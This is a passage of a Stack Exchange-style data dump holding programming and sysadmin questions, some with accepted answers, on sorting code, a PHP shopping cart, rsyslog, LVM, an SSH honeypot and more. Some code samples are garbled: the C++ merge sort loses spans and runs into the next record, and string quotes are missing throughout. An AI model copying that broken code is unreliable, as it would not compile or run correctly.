super(Dictionary, self).get_entry(entry_id) if not entries: entry = Entry(entry_id, '') if entry.content: entry.name = entry.content['name'] self.add(entry) return [entry] return entriesclass Entry(BaseEntry): @lazy_property def content(self): return load_entry_content(self.name, self.entry_id)An example dictionary file looks like this:chairChair, n. Etym: [OE. chaiere, chaere, OF. chaiere, chaere, F. chaire]1. A movable single seat with a back.2. An official seat, as of a chief magistrate or a judge, but esp.that of a professor; hence, the office itself.The chair of a philosophical school. Whewell.A chair of philology. M. Arnold.3. The presiding officer of an assembly; a chairman; as, to addressthe chair.4. A vehicle for one person; either a sedan borne upon poles, or two-wheeled carriage, drawn by one horse; a gig. Shak.Think what an equipage thou hast in air, And view with scorn twopages and a chair. Pope.5. An iron blok used on railways to support the rails and secure themto the sleepers. Chair days, days of repose and age.-- To put into the chair, to elect as president, or as chairman of ameeting. Macaulay.-- To take the chair, to assume the position of president, or ofchairman of a meeting.I'm looking for a general review:Is this code Pythonic?Is this is good object oriented design? Would you design the class structure differently?Other things you'd do differently? (Apart from using a database to handle the indexing of entries, a feature I plan to add soon.)The open-source project is here." , "title": "A simple dictionary tool, extensible with plugins" , "tags": "python;object oriented" , "accepted_answer": "A quick review of the base classes.There's no documentation. What does this code do? How am I supposed use it? What is the interface? When I subclass one of your base classes, what are my responsibilities? What properties and methods do I need to implement and what must they return?The interface seems inconvenient. If you want to know an entry's id, then it looks like you have to write:entry.content['id']which seems unnecessarily verbose compared to something like entry.id.In BaseEntry.content you construct a new dictionary each time the method is called. This seems wasteful since the dictionary is always the same.Good practice for __repr__ methods is to output something that will evaluate to an equivalent object. So I'd write:def __repr__(self): return '{0.__name__}({1.id}, {1.name})'.format(type(self), self)When you have an interface that needs to read the contents of a file, it's best practice to design the interface so that you can pass either a file name or a file object.The reason for this is that if an interface only accepts a file name, then you can only pass it data via the local file system, and that when the data comes from a network connection, or from a test case in Python source code, or is constructed in memory, then you have to save that data out to a temporary file. It is much more convenient to construct and pass a file object in these cases.(See for example the standard library functions tarfile.open, lzma.open, plistlib.readPlist.)Why are BaseDictionary.name and BaseDictionary.is_public abstract properties? Why do you require subclasses to override these properties?What is the purpose of the is_public property? It doesn't seem to be used." } { "id": "_codereview.77792" , "question": "How to optimize this merge sort code to make it run faster? And how to call merge_sort function without user input by declaring necessary array in the code? #include using namespace std;int a[50];void merge(int,int,int);void merge_sort(int low,int high){int mid;if(lowmid) { for(k=j;k<=high;k++) { b[i]=a[k]; i++; } } else { for(k=h;k<=mid;k++) { b[i]=a[k]; i++; } } for(k=low;k<=high;k++) a[k]=b[k];}int main() { int num,i; cout<< MERGE SORT PROGRAM<>num; cout<>a[i] ; } merge_sort(1,num); cout<= last) return; else { if (last - first < 15) { InsertionSort(v, first, last); return; } int[] pivotLoc = partitionArray(v, first, last, makePivot(v,first,last)); QuickSort(v, first, pivotLoc[1]); QuickSort(v, pivotLoc[0], last); } } private int[] partitionArray (int[] v, int first, int last, int pivot) { while(last => first) { while(v[first] < pivot) first++; while(v[last] > pivot) last--; if (first > last) break; swap(v, first, last); first++; last--; } return new int[] {first, last}; } private void swap(int[] v, int first, int last) { int temp = v[first]; v[first] = v[last]; v[last] = temp; } public void InsertionSort(int[] v, int first, int last) { int temp; for (int i=first + 1; i <= last; i++) { int j = i; while (j > 0 && v[j-1] > (v[j]) ) { temp = v[j]; v[j] = v[j-1]; v[j-1] = temp; j--; } } } private int makePivot (int[] v, int first, int last){ return v[rand.nextInt(last-first+1)+first]; }}" , "title": "Faster QuickSort" , "tags": "java;sorting;quick sort;insertion sort" } { "id": "_cstheory.12833" , "question": "The problem statement isGiven convex functions $f_i$ over $X$, find $$\\arg\\max_{x\\in X} \\sum_i f_i(x)$$Does this kind of problem structure allow one to use specific strategies to solve the problem?Does it help if I also know the lower bound and upper bound of each $\\max_x f_i(x)$ and the corresponding $x$?For example, is there any algorithm like the objective function analogy of branch and bound method ? " , "title": "Maximizing a convex function where the objective function is separable but the search space is not" , "tags": "ds.algorithms;approximation algorithms;optimization;convex optimization;approximation" } { "id": "_unix.75734" , "question": "I have a bunch of web sites that I develop, and I run an Apache server locally to do debugging and design. The web sites use Apache, PHP, and MySQL. To be clear, my Apache server is not serving these sites to the internet, I just access them locally.I develop on two machines. One desktop, and one laptop. Both are running Linux Mint, and I try to keep the settings consistent between them. This means I have to duplicate the Apache and PHP configurations. I keep the directory structures the same. I have to make sure to copy the MySQL databases from one machine to the other if I make changes.Which is not ideal. It's prone to human error, especially with keeping the MySQL databases synched. Sometimes I work on one on one machine, forget to export and import the databases, and then after I've done work on the other machine, I have two versions and I can't easily merge them. Also, it's a hassle for making backups.What does work is that I store all my HTML, CSS, and Javascript in a folder in my Dropbox directory. So any changes I make to those files are automatically syncronized. It also means I have a backup in the cloud. Should the need arise, to restore these files if I ever move to a new machine, I just have to install Dropbox and all the files are recovered.The most I have to do if setting up on a new computer is create a symlink to my Dropbox directory where my HTML files are stored:sudo ln -s /home/dave/Dropbox/Websites /var/www/WebsitesIs there a way I can do this with my Apache settings and MySQL databases as well? Where I can keep them synchronized across both machines in my Dropbox folder, and have a miminum of set up if I go to a new machine?" , "title": "Is it not possible to store my local websites in my Dropbox folder?" , "tags": "apache httpd;mysql;dropbox" } { "id": "_unix.371421" , "question": "I have a question, how do I move my /dev/mapper/datos-datos_lv so I can use that space on /? I want to use the space from /dev/mapper/datos on the/` filesystem.df -hFilesystem Size Used Avail Use% Mounted on/dev/sda1 92G 5.8G 82G 7% /devtmpfs 1.9G 0 1.9G 0% /devtmpfs 1.9G 140K 1.9G 1% /dev/shmtmpfs 1.9G 41M 1.9G 3% /runtmpfs 1.9G 0 1.9G 0% /sys/fs/cgroup/dev/mapper/datos 296GB 63M 281G 1% /opttmpfs 379M 28K 379M 1% /run/user/1000What I want to achieve is:df -hFilesystem Size Used Avail Use% Mounted on/dev/sda1 388G 5.8G 82G 7% /devtmpfs 1.9G 0 1.9G 0% /devtmpfs 1.9G 140K 1.9G 1% /dev/shmtmpfs 1.9G 41M 1.9G 3% /runtmpfs 1.9G 0 1.9G 0% /sys/fs/cgrouptmpfs 379M 28K 379M 1% /run/user/1000Is there any way to get 388G on /?" , "title": "Merge two partitions" , "tags": "linux;filesystems;partition;lvm" } { "id": "_cs.23541" , "question": "In an article I am currently reading the grammarS SS | a | is being described as canonical infinitely ambiguous. The infinitely ambiguous part I have no problem recognizing, but does canonical mean? Does it mean typical, standard example etc.?" , "title": "Canonical infinitely ambiguous languages" , "tags": "formal languages;terminology" , "accepted_answer": "I think your understanding the use of canonical here as standard example is correct; similarly, grammars for parenthesis matching or palindromes are canonical examples for context-free grammars, generally." } { "id": "_computerscience.4662" , "question": "So I've been messing with perspective projection matrices recently. I used numpy and GTK/Cairo to make a very small Python renderer. I'm very confused with the results I'm getting though.I took this Homogeneous Coordinates technique from an online lecture. If I understood correctly, the objective is to transform every point inside a Viewing Pyramid that's frustum shaped so they fit in a cube. (Image from of songho.ca)               You need a Field of View angle ($\\alpha$), the Near and Far plane distances ($n$ and $f$ respectively), and the aspect ratio ($r$). Firstly you turn every 3D Point into a Homogeneous Point by adding a 1 like so:\\begin{align*}\\begin{pmatrix} x & y & z\\end{pmatrix}\\xrightarrow{\\text{4D}}\\begin{bmatrix} x & y & z & 1\\end{bmatrix}\\end{align*}Then you multiply your point matrix by a perspective projection matrix:\\begin{align*}\\begin{bmatrix}x & y &z & 1 \\end{bmatrix}\\begin{bmatrix} 1\\over\\tan(\\alpha/2) & 0 & 0 & 0\\\\ 0 & r\\over\\tan(\\alpha/2) & 0 & 0\\\\ 0 & 0 & (f+n)\\over(f-n) & -1 \\\\ 0 & 0 & (2nf)\\over(f-n) & 0\\end{bmatrix}=\\begin{bmatrix}x' & y' & z' & w\\end{bmatrix}\\end{align*}And to go back to a 3D point in space you divide by the fourth dimension:\\begin{align*}\\begin{bmatrix} x' & y' & z' & w\\end{bmatrix}\\xrightarrow{\\text{3D}}\\begin{pmatrix} x' \\over w & y' \\over w & z' \\over w\\end{pmatrix}\\end{align*}This is exactly what I've done with numpy:def projection_matrix(fov, aspect, near, far): t = 1/math.tan(math.radians(fov)/2) a = (far + near)/(far - near) b = (2*near*far)/(far-near) r = aspect return numpy.matrix([[t, 0, 0, 0], [0, r*t, 0, 0], [0, 0, a, -1], [0, 0, b, 0]])But for some reason the renderer is totally messed up. This is supposed to be a spinning cube... What am I missing here?                     " , "title": "My perspective projection is messed up?" , "tags": "rendering;projections;camera matrix" , "accepted_answer": "The math for the projection matrix is (with fov as $\\alpha$):$q \\leftarrow \\frac{1}{tan(\\frac{\\alpha}{2})}$$a \\leftarrow \\frac{q}{aspect}$$b \\leftarrow \\frac{(far + near)}{(near - far)}$$c \\leftarrow \\frac{(2 * far * near)}{(near - far)}$Notice that there're some things you're doing that are differently, such as the order of your subtractions between near and far, how you organize the matrix values, and your multiplication between your r * t.Using the variables above, the column-major matrix below would be the resulting perspective projection matrix:\\begin{bmatrix} a & 0 & 0 & 0 \\\\ 0 & q & 0 & 0 \\\\ 0 & 0 & b & c \\\\ 0 & 0 & -1 & 0\\end{bmatrix}From the above, we get:def perspective_projection_matrix(fov, aspect, near, far): q = 1 / tan(radians(fov * 0.5)) a = q / aspect b = (far + near) / (near - far) c = (2*near*far) / (near - far) # construct column-major matrix here...NOTE: I left the last part out because I'm not familiar enough with numpy to know whether it expects row-major or column-major order.Also, you should validate all your arguments (e.g. both near > 0 and far > 0, far > near, etc.) if you want to avoid future headaches." } { "id": "_unix.296941" , "question": "In my user, which has admin privileges, I have several languages enabled, and English (U.S.) is the 'Primary' language:After updating to El Capitan (10.11), I get mixed languages in bash:$ svn upUpdating '.': [English]P revisjon 3096. [Norwegian]$ lkbash: lk: [Russian]$Each message is reliably the same language every time. Command not found is always in Russian, On revision #### is always in Norwegian, etc. I know these languages, so this isn't impacting my productivity, but what the dad gum is going on?!$ localeLANG=LC_COLLATE=CLC_CTYPE=UTF-8LC_MESSAGES=CLC_MONETARY=CLC_NUMERIC=CLC_TIME=CLC_ALL=" , "title": "Mixed languages in bash after OS X update to El Capitan" , "tags": "bash;locale" } { "id": "_unix.388275" , "question": "I would like to disable password login for a user. But instead of the error message (Public key) I would not like the user notice that the password login is disabled and prompting him for password.So far I know I can disable password login for all users except one withPasswordAuthentication noMatch User totoPasswordAuthentication yesBut attempting to login as 'not_toto' will result an error message from the server, which I do not wish.Do I need to modify openssh sources to do that? Or is there a configuration option which can do the job?Edit:Having two ssh servers running is an option, so killing connections with iptables or via another method (outside ssh configuration) could do it.Edit 2:I want to do this as I need two ssh instances, one in the official door to get in and the other is a honeypot. So the bots will give their password but never letting them in. (nb: this is a personal project I am the only one using the server and not logging colleagues passwords nor other nasty things, I just want to make some stats on bots)The first ssh server (say official) is OpenSSH_7.4p1 Debian-10+deb9u1, OpenSSL 1.0.2l 25 May 2017, installed with Debian packages.The 'honeypot' is a modified version of Openssh-7.4p1 that logs username and passwords from login attempts.Actually PAM should be enabled on this one but I will double check it. Maybe your option symcbean may be the right one." , "title": "SSH: disable password login for root but leaving the prompt" , "tags": "ssh;openssh" } { "id": "_codereview.78966" , "question": "Following is the code I am using to find a separate count for alphabets and numeric characters in a given alphanumeric string: Public Sub alphaNumeric(ByVal input As String) 'alphaNumeric(asd23fdg4556g67gh678zxc3xxx) 'input.Count(Char.IsLetterOrDigit) Dim alphaCount As Integer = 0 '<-- initialize alphabet counter Dim numericCount As Integer = 0 '<-- initialize numeric counter For Each c As Char In input '<-- iterate through each character in the input If IsNumeric(c) = True Then numericCount += 1 '<--- check whether c is numeric? if then increment nunericCounter If Char.IsLetter(c) = True Then alphaCount += 1 '<--- check whether c is letter? if then increment alphaCount Next MsgBox(Number of alphabets : & alphaCount) '<-- display the result MsgBox(Number of numerics : & numericCount) End SubEverything works fine for me. Let me know how I can make this simpler." , "title": "Get alpha numeric count from a string" , "tags": "strings;vb.net" , "accepted_answer": "In general your code looks good, here are a few smaller remarks.Method name:Capitalize the name of your method and make it more meaningful. Use CountAlphaNumeric or something similar.Comments in code:You can omit the comments in your code. It speaks for itself what the code is doing, certainly because you use clear names for your variables.IsNumeric() - Char.IsDigit():In the .NET framework, there's the Char.IsDigit method, use this one instead:If Char.IsDigit(c) = True Then numericCount += 1MsgBox() - MessageBox.Show():Although MsgBox is valid, it also comes from the VB era. In the .NET framework there's the MessageBox.Show method, use that one instead:MessageBox.Show(Number of alphabets : & alphaCount)String.Format():To insert variables in a string, use the String.Format instead of just concatenating the values:Dim result As String = String.Format(Number of alphabets : {0}, alphaCount)Expression = True:You can leave out the = True part in your if conditions, since the methods return a boolean value.This is what the code now looks like:Public Sub CountAlphaNumeric(ByVal input As String) Dim alphaCount As Integer = 0 Dim numericCount As Integer = 0 For Each c As Char In input If Char.IsDigit(c) Then numericCount += 1 If Char.IsLetter(c) Then alphaCount += 1 Next MessageBox.Show(String.Format(Number of alphabets : {0}, alphaCount)) MessageBox.Show(String.Format(Number of numerics : {0}, numericCount)End SubUsing LinQ:Although not always the best option, you can achieve the same result using LinQ, using the Enumerable.Count method:Dim alphaCount = input.Count(Function(c) Char.IsLetter(c))Dim numericCount = input.Count(Function(c) Char.IsDigit(c))Here's the complete code using LinQ:Public Sub CountAlphaNumericUsingLinQ(ByVal input As String) Dim alphaCount = input.Count(Function(c) Char.IsLetter(c)) Dim numericCount = input.Count(Function(c) Char.IsDigit(c)) MessageBox.Show(String.Format(Number of alphabets : {0}, alphaCount)) MessageBox.Show(String.Format(Number of numerics : {0}, numericCount))End Sub" } { "id": "_webapps.45449" , "question": "I want to leave feedback for an item I bought on eBay that was listed as a classified, but I can't even find the item in My eBay.Is it not possible to leave feedback for classifieds?" , "title": "Can I leave feedback for classified item on eBay?" , "tags": "ebay" , "accepted_answer": "No you can't.From the Different ways of buying help article:When you see a Classified Ad listing, it means that you deal directly with the seller and buy the item at a fixed price. Because your Classified Ad purchase is outside of eBay, you won't be able to use eBay Feedback or eBay Buyer Protection." } { "id": "_cs.27915" , "question": "My question is the following: How to calculate the regret in practice?I am trying to implement the regret matching algorithm but I do not understand how to do it.First, I have $n$ players with the joint action space $\\mathcal{A}=\\{a_0, a_1,\\cdots,a_m\\}^n.$Then, I fix some period $T$. The action set $A^t\\in\\mathcal{A}$ is the action set chosen by players at time $t$. After the period $T$ (every player has chosen an action). So I get $u_i(A^t)$.Now the regret of player $i$ of not playing action $a_i$ in the past is: (here $A^t\\oplus a_i$ denotes the strategy set obtained if player $i$ changed its strategy from $a'_i$ to $a_i$)$$\\max\\limits_{a_i\\in A_i}\\left\\{\\dfrac{1}{T}\\sum_{t\\leqslant T}\\left(u_i(A^t\\oplus a_i )-u_i(A^t)\\right)\\right\\}.$$I do not understand how to calculate this summation. Why there is a max over the action $a_i\\in A_i$? Should I calculate the regret of all actions in $A_i$ and calculate the maximum? Also, In Hart's paper, the maximum is $\\max\\{R, 0\\}$. Why is there such a difference? I mean if the regret was: $\\dfrac{1}{T}\\sum_{t\\leqslant T}\\left(u_i(A^t\\oplus a_i )-u_i(A^t)\\right),$the calculation would be easy for me.The regret is defined in the following two papers [1] (see page 4, equation (2.1c)) and [2] (see page 3, section I, subsection B).A simple adaptive procedure leading to correlated equilibrium by S. Hart et al (2000)Distributed algorithms for approximating wireless network capacity by Michael Dinitz (2010)I would like to get some helps from you. Any suggestions step by step how to implement such an algorithm please?" , "title": "How to implement the regret matching algorithm?" , "tags": "machine learning;game theory;learning theory" , "accepted_answer": "The index set of the max operation is $A_i$, the actions of player $i$. The formula says: take each such action $a_i \\in A_i$ and compute its regret (with the sub-formula you say you can implement easily), and then take the maximum of those regrets. The reason for the $\\max(R,0)$ is that actions with negative regrets are performing worse than the action currently chosen.To implement this in code, just set a temporary variable $t$ to be 0. Now loop through the actions one by one, and for each action $a$, compute its regret $r$, and set $t$ as $\\max(r,t)$. Note that this approach includes the $\\max(R,0)$ operation; to do this without that, set $t$ initially to $-\\infty$." } { "id": "_codereview.54018" , "question": "I wanted to create a cart that I can easily add some item or simply help someone at the other end over the phone. I decided to create a cart that would store everything on MySQL instead of using $_SESSION.I did not code the whole cart just in case that this idea is very very bad. But I wanted to show what I have done and know your feedback.The MySQL table look like the following:CREATE TABLE IF NOT EXISTS `checkouts` ( `Id` int(11) NOT NULL AUTO_INCREMENT, `SessionId` varchar(30) NOT NULL, `LastTouchTime` int(11) NOT NULL, `ObjectSerialized` text NOT NULL, PRIMARY KEY (`Id`)) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=0 ;And this is the PHP class:class Checkout{ static $KeepCartFor = 86400; static $dbCon = null; private $CheckoutId = null; private $Cart = array(); private $PromoCode = null; private $SubTotal = 0.00; // Please Note that im using GST as the rst ( the cart is kinda made for easy swap between canada store and usa private $Gst = 0.00; //Good And Services Taxes private $Pst = 0.00; //Provincial Tax private $Shipping = array(Method=>null,Cost=>0.00); private $Total = 0.00; private $Customer = array(FirstName=>null,LastName=>null,Email=>null,Home=>null,Work=>null,Cell=>null,Fax=>null,Company=>null,Address1=>null,Address2=>null,Address3=>null,Country=>null,State=>null,City=>null,Zip=>null,isShippingSameAsBilling=>true,ShipFirstName=>null,ShipLastName=>null,ShipCompany=>null,ShipAddress1=>null,ShipAddress2=>null,ShipAddress3=>null,ShipCountry=>null,ShipState=>null,ShipCity=>null,ShipZip=>null); public function Cart_AddItem($WebsiteId,$Qty = 1) { if(!isset($this->Cart[$WebsiteId])) { $this->Cart[$WebsiteId] = $this->_GetProductDetail($WebsiteId); $this->Cart[$WebsiteId]['Qty'] = $Qty; } else $this->Cart[$WebsiteId]['Qty'] += $Qty; $this->Shipping = array(Method=>null,Cost=>0.00); } public function Cart_RemoveItem($WebsiteId,$Qty = null) { if(isset($this->Cart[$WebsiteId])) if(is_null($Qty)) unset($this->Cart[$WebsiteId]); else { if($this->Cart[$WebsiteId]['Qty'] - $Qty <= 0) unset($this->Cart[$WebsiteId]); else $this -> Cart[$WebsiteId]['Qty'] -= $Qty; } $this->Shipping = array(Method=>null,Cost=>0.00); } public function Cart_Emtpy() { $this -> Cart = array(); $this -> SubTotal = 0.0; $this -> Gst = 0.00; $this -> Pst = 0.00; $this -> Total = 0.00; } public function Cart_GetItems($WithDetail = false) { if(!$WithDetail) { foreach($this->Cart as $WebsiteId => $Vars) { $Return[$WebsiteId] = $Vars['Qty']; } return $Return; } else return $this->Cart; } private function _RefrechCartVars() { $this->SubTotal = 0.00; $this->Gst = 0.00; $this->Pst = 0.00; $this->Total = 0.00; foreach($this->Cart as $WebsiteId => $Vars) { $this->SubTotal += $Vars['ActualPrice']*$Vars['Qty']; } if(($this->Customer['isShippingSameAsBilling']?$this->Customer['Country']:$this->Customer['ShipCountry']) == United States) if(($this->Customer['isShippingSameAsBilling']?$this->Customer['State']:$this->Customer['ShipState']) == New York) $this->Gst = ($this->SubTotal * 0.07) + (is_null($this->Shipping['Method'])?0.00:$this->Shipping['Cost']); $this->Total = $this->SubTotal + $this->Gst + (is_null($this->Shipping['Method'])?0.00:$this->Shipping['Cost']); } private function _GetProductDetail($WebsiteId) { $GetProductDetail = Checkout::$dbCon -> prepare(SELECT * FROM product WHERE id = :Id); $GetProductDetail -> bindValue(':Id',$WebsiteId); try{ $GetProductDetail->execute(); }catch(PDOException $e) {die(Error Getting Product Detail :.$e->getMessage());} $PD = $GetProductDetail->fetch(PDO::FETCH_ASSOC); $Return['Brand'] = $PD['brand']; $Return['ModelNumber'] = $PD['SKU']; $Return['Title'] = $PD['title']; $Return['ActualPrice'] = ($PD['pricingtype'] =='promo' && strtotime($PD['enddate']) >= time()?$PD['promoprice']:$PD['price']); $Return['MSRP'] = $PD['originalprice']; $Return['PictureUrl'] = $PD['picturelink']; $Return['Weight'] = $PD['weight']; $Return['DimensionalWeight'] = number_format($PD['height']*$PD['length']*$PD['width']/166,2); $Return['CalculatedWeight'] = ($Return['Weight']>=$Return['DimensionalWeight']?$Return['Weight']:$Return['DimensionalWeight']); return $Return; } public function __construct() {// Check if have an checkout already $Prepare = Checkout::$dbCon ->prepare(SELECT * FROM checkouts WHERE SessionId = :SessionId AND LastTouchTime >= :Time ORDER BY Id DESC); $Prepare -> bindValue(':SessionId',session_id()); $Prepare -> bindValue(':Time',time()-self::$KeepCartFor); try{ $Prepare -> execute(); if($Prepare -> rowCount() != 0) { $Checkout = $Prepare->fetch(PDO::FETCH_ASSOC); $this->CheckoutId = $Checkout['Id']; $ThisVar = unserialize($Checkout['ObjectSerialized']); foreach($ThisVar as $Key => $Val) $this->$Key = $Val; $this->CheckoutId = $Checkout['Id']; } }catch(PDOException $e) { die(Error Getting Checkout From Db: .$e->getMessage()); } } public function __destruct() { if(is_null($this->CheckoutId)) {// Insert Checkout In Mysql $CheckWhatIsNextId = Checkout::$dbCon->prepare(SELECT Id FROM checkouts ORDER BY Id DESC LIMIT 0,1); $CheckWhatIsNextId -> execute(); $NextId = $CheckWhatIsNextId -> fetch(PDO::FETCH_ASSOC); $this->CheckoutId = $NextId['Id']; $InsertCheckout = Checkout::$dbCon->prepare(INSERT INTO checkouts (`SessionId`,`LastTouchTime`,`ObjectSerialized`) VALUES(:SessionId,:LastTouchTime,:ObjectSer);); $InsertCheckout -> bindValue(':SessionId',session_id()); $InsertCheckout -> bindValue(':LastTouchTime',time()); $InsertCheckout -> bindValue(':ObjectSer',serialize($this)); try{ $InsertCheckout -> execute(); }catch(PDOException $e) { die(Error SavingCart In Db: .$e->getMessage()); } } else { $UpdateCheckout = Checkout::$dbCon->prepare(UPDATE `checkouts` SET `LastTouchTime` = :Time,ObjectSerialized = :Object WHERE `Id` = :Id;); $UpdateCheckout -> bindValue(':Time',time()); $UpdateCheckout -> bindValue(':Object',serialize($this)); $UpdateCheckout -> bindValue(':Id',$this->CheckoutId); try{ $UpdateCheckout -> execute(); }catch(PDOException $e) { die(Error SavingCart In Db: .$e->getMessage()); } } }}And this next class is simply a little class for my laziness of remembering the DSN of MySQL and port and all for PDO objects:class dbCon extends PDO{ public function __construct($host,$port,$user,$pass,$dbName=null) { $pdo_options[PDO::ATTR_ERRMODE] = PDO::ERRMODE_EXCEPTION; $dsn = 'mysql:host='.$host.';port='.$port.';'; if(!is_null($dbName)) $dsn .='dbname='.$dbName; try{ parent::__construct($dsn,$user,$pass,$pdo_options); }catch(PDOException $e){ die(Error Connecting To Database: .$e->getMessage() ); } }}Technically on any page I can access the cart with only 2 line of code:Checkout::$dbCon = new dbCon(127.0.0.1,3306,UserName,Password,DatabaseName);$Checkout = new Checkout();Maybe there is some security issue that I'm not thinking about, or perhaps I should do something different. Let me know what you think." , "title": "A cart that uses SessionID" , "tags": "php;mysql" , "accepted_answer": "DatabaseNormalize your database! Don't keep a string of serialized objects in the database, that's extremely brittle and extremely not helpful in all but the most simple cases. Instead, you should have 3 tables (two of which you already have):items - Table that holds information about items, includes name, price, etc.Key column: item_id.carts (renamed from checkout) - Table that holds information about user's carts. There's a 1:1 relationship between carts and checkouts, a single cart can't be checked out more than once, and a single checkout doesn't apply to multiple carts. So it makes sense to have them in the same table. Has the cart's ID, the user's ID (in your case, SessionID) and extra information (not items) like LastTouchTime.Key column: cart_iditems-in-carts. Items and carts have a many to many relationship, also known as n:m ratio. One cart can have multiple items in it, and the same item can be in multiple carts. So we have a third table that ties the two together. All the table has is two columns: item_id, cart_id. Here's an example for a many-to-many architecture.PHPNaming convention - ClassNames should be CamelCaps, $variableNames and methodNames() should be lowercase camelCase. Don't mix caps with underscores (for example, Cart_AddItem should be just addItem, it clear we're talking about the cart here, isn't it?)Use of static variables and methods - Don't. Static variables and methods are global, which means that by definition they make your application less stable, harder to test and maintain, and harder to read. Please don't.__construct() function should always be first - The first thing I read about a class is how it's constructed. Implicit dependencies - Your __construct() says it doesn't need any parameters, but that's a lie. It actually needs a database connection, and you're using a global to get it. That's what I mean by don't use static variables. This is a better approach:public function __construct(DBCon $dbCon) {Consistent spacing - Sometimes you use $var->method() and sometimes $var -> method() make up your mind, and stick with it. There are free tools that can do this job for you!Naming of things - Why is it called a Checkout? What I see is a Cart, and that's how it should be called. If you can checkout a cart, you should have a method $cart->checkout(...). Your methods are redundantly long, Cart_Empty() can be empty(), Cart_AddItem() can be addItem().Too much going on in once class - Your cart uses Items right? Why not make an Item class? What's the purpose of the dbCon object? - Why are you placing another abstraction on top of PDO? What problem are you solving here? On 99% of the application (and I bet including yours), you only ever need a single database connection, so what's the point of wrapping it in a class that hinders readability (I know the PDO, but I see dbCon and I have no idea what it is, until I dive in and read the code).All-in-all, I'd try to adopt a more OOP approach, create more class, increase the interaction between objects. Get rid of the globals and statics.Good luck :)" } { "id": "_softwareengineering.132288" , "question": "We are using SQL Source Control 3, SQL Compare, SQL Data Compare from RedGate, Mercurial repositories, TeamCity and a set of 4 environments including production. I am working on getting us to a dedicated environment per developer, but for at least the next 6 months we are stuck with a shared model. To summarize our current system, we have a DEV SQL server where developers first make changes/additions. They commit their changes through SQL Source Control to a local hgdev repository. When they execute an hg push to the main repository, TeamCity listens for that and then (among other things) pushes hgdev repository to hgrc. Another TeamCity process listens for that and does a pull from hgrc and deploys the latest to a QA SQL Server where regression and integration tests are run. When those are passed a push from hgrc to hgprod occurs. We do a compare of hgprod to our PREPROD SQL Server and generate deployment/rollback scripts for our production release.Separate from the above we have database Hot Fixes that will need to be applied in between releases. The process there is for our Operations team make changes on the PreProd database, and then after testing, to use SQL Source Control to commit their hot fix changes to hgprod from the PREPROD database, and then do a compare from hgprod to PRODUCTION, create deployment scripts and run them on PRODUCTION.If we were in a dedicated database per developer model, we could simply automatically push hgprod back to hgdev and merge in the hot fix change (through TeamCity monitoring for hgprod checkins) and then developers would pick it up and merge it to their local repository and database periodically. However, given that with a shared model the DEV database itself is the source of all changes, this won't work. Pushing hotfixes back to hgdev will show up in SQL Source Control as being different than DEV SQL Server and therefore we need to overwrite the reposistory with the change from the DEV SQL Server. My only workaround so far is to just have OPS assign a developer the hotfix ticket with a script attached and then we run their hotfixes against DEV ourselves to merge them back in. I'm not happy with that solution. Other than working faster to get to dedicated environment, are they other ways to keep this loop going automatically?" , "title": "How do I Integrate Production Database Hot Fixes into Shared Database Development model?" , "tags": "version control;deployment;database development" } { "id": "_datascience.5313" , "question": "In a assignment we are given macro economic indicators like GDP, Consumer price index, Producer Price index and Industrial production index. Also we are given Crude oil, Sugar prices and FM-CG Sales. We are required to forecast future quarter sales and give a model. As I'm new to this subject, I don't know where to start with it, or what to read. Can anyone provide me with some examples of what to do, or any PDFs which might be helpful. " , "title": "Forecasting sales and creating model" , "tags": "predictive modeling;forecast" } { "id": "_unix.246076" , "question": "I configured rsyslog to send logs to a central logging server like this:*.* @@192.168.1.20$ActionExecOnlyWhenPreviousIsSuspended on& @@192.168.1.21& /var/log/failover$ActionExecOnlyWhenPreviousIsSuspended offIt works well, except when machine is booting. When the virtual machine starts and approximately twenty seconds after the machine starts, no messages are sent to 192.168.1.20 or 192.168.1.21. However, /var/log/failover contains all those lost messages.As a test, I started the machine and entered by hand:$ logger 1$ logger 2$ logger 3...The first central logging server contains just:Nov 28 13:57:40 demo arsene: 10The second logging server contains no messages from the demo machine.Finally, var/log/failover on demo machine contains:Nov 28 13:57:10 demo rsyslogd: [origin software=rsyslogd swVersion=7.4.4 x-pid=361 x-info=http://www.rsyslog.com] startNov 28 13:57:10 demo rsyslogd: rsyslogd's groupid changed to 104Nov 28 13:57:10 demo rsyslogd: rsyslogd's userid changed to 101... # more than a hundred usual messages from the kernelNov 28 13:57:20 demo kernel: [ 12.127981] random: nonblocking pool is initializedNov 28 13:57:21 demo arsene: 1Nov 28 13:57:22 demo arsene: 2Nov 28 13:57:23 demo arsene: 3Nov 28 13:57:25 demo arsene: 4Nov 28 13:57:27 demo arsene: 5Nov 28 13:57:28 demo arsene: 6Nov 28 13:57:30 demo arsene: 7Nov 28 13:57:32 demo arsene: 8Nov 28 13:57:37 demo arsene: 9I encounter this issue for both Ubuntu and Debian virtual machines.Additional notes:The network connectivity looks fine. If I try ping 192.168.1.20 and curl google.com during the period where the log messages are not sent to the log server, both ping and curl succeed.Disabling the firewall of the logging server has no effect.Running tcpdump shows that nothing is being sent to the log server during the twenty seconds period.Other Ubuntu machines on the network (which were deployed using a very different approach) report their logs to the logging server fine, including during the boot.By comparing the faulty machines to the correct ones, I noticed a version mismatch (7 vs. 8) for rsyslogd. Upgrading rsyslogd on faulty machines to version 8.14.0 haven't fixed the issue, but now I see the following message a bit after the log reporting starts working:Nov 29 02:18:39 demo rsyslogd-2359: action 'action 11' resumed (module 'builtin:omfwd') [v8.14.0 try http://www.rsyslog.com/e/2359 ]diff shows that /etc/rsyslog.conf and /etc/rsyslog.d/*.conf files are exactly the same between the new faulty machines and the old working ones.A apt-get update, apt-get upgrade and even apt-get dist-upgrade haven't fixed the problem." , "title": "Why is syslogd not reporting messages to remote server during and just after the boot?" , "tags": "rsyslog" , "accepted_answer": "As @ThomasDickey said, networking may not be completely started when userland programs start to run. Many enterprise ethernet switches don't accept packets for a number of seconds after an interface comes up, as they try to negotiate spanning tree settings.rsyslog has an actionresumeinterval setting that is 30 seconds by default. If you set it to a smaller value before any directives that use TCP connections, that will increase the retry rate, and the connections ought to get completed more quickly.There are also additional options you can set to ensure that early messages which are not sent immediately get delivered as soon as the connection is ready. For instance, you can use the options similar to:$ActionResumeInterval 5$ActionQueueType disk$WorkDirectory /var/spool/rsyslog$ActionQueueFilename actionRq$ActionQueueMaxDiskSpace 1m$ActionQueueSize 4000$ActionQueueTimeoutEnqueue 0$ActionResumeRetryCount -1" } { "id": "_webmaster.99608" , "question": "I have a .htaccess file that in its end I created some 301 redirects. For example:Redirect 301 /site-building-from-home /Redirect 301 